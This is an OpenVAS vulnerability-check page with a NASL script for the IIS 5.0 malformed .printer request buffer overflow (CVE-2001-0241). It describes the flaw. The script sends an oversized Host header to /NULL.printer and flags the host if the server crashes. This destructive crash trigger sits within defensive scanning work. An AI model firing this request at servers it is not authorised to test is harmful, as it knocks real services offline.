NT IIS 5.0 Malformed HTTP Printer Request Header Buffer Overflow Vulnerability

2005-11-03T00:00:00
ID OPENVAS:136141256231010657
Type openvas
Reporter This script is Copyright (C) 2001 John Lampe
Modified 2018-04-06T00:00:00

Description

There is a buffer overflow in the remote IIS web server.
It is possible to overflow the remote Web server and execute commands as the SYSTEM user.

At attacker may make use of this vulnerability and use it to gain access to confidential data and/or escalate their privileges on the Web server.

See http://www.eeye.com/html/Research/Advisories/AD20010501.html for more details.

                                        
                                            # OpenVAS Vulnerability Test
# $Id: iis5_printer.nasl 9348 2018-04-06 07:01:19Z cfischer $
# Description: NT IIS 5.0 Malformed HTTP Printer Request Header Buffer Overflow Vulnerability
#
# Authors:
# John Lampe <j_lampe@bellsouth.net>
#
# Copyright:
# Copyright (C) 2001 John Lampe
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "There is a buffer overflow in the remote IIS web server.  
It is possible to overflow the remote Web server and execute 
commands as the SYSTEM user.

At attacker may make use of this vulnerability and use it to
gain access to confidential data and/or escalate their privileges
on the Web server.
 
See http://www.eeye.com/html/Research/Advisories/AD20010501.html 
for more details.";

tag_solution = "See http://www.microsoft.com/technet/security/bulletin/ms01-023.mspx";

if(description)
{
 script_oid("1.3.6.1.4.1.25623.1.0.10657");
 script_version("$Revision: 9348 $");
 script_tag(name:"last_modification", value:"$Date: 2018-04-06 09:01:19 +0200 (Fri, 06 Apr 2018) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_xref(name:"IAVA", value:"2001-a-0005");
 script_bugtraq_id(2674);
 script_tag(name:"cvss_base", value:"10.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_cve_id("CVE-2001-0241");
 name = "NT IIS 5.0 Malformed HTTP Printer Request Header Buffer Overflow Vulnerability";


 script_name(name);


 # Summary

 # Category
 script_category(ACT_DESTRUCTIVE_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");

 # Dependencie(s)
 script_dependencies("gb_get_http_banner.nasl");
 script_mandatory_keys("IIS/banner");

 # Family
 family = "Gain a shell remotely";
 script_family(family);

 # Copyright
 script_copyright("This script is Copyright (C) 2001 John Lampe");

 script_require_ports("Services/www", 80);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

# The attack starts here

include("http_func.inc");


port = get_http_port(default:80);


sig = get_http_banner(port:port);
if ( sig && "IIS" >!< sig ) exit(0);

if(get_port_state(port)) {
    if(http_is_dead(port:port))exit(0);
    
    mystring = string("GET /NULL.printer HTTP/1.1\r\n");
    mystring = string (mystring, "Host: ", crap(420), "\r\n\r\n");
    mystring2 = http_get(item:"/", port:port);
    soc = http_open_socket(port);
    if(!soc) {exit(0);}
    else {
      send(socket:soc, data:mystring);
      r = http_recv(socket:soc);
      http_close_socket(soc);
      
      if(http_is_dead(port:port))
      {
        security_message(port);
        exit(0);
      }
    }
}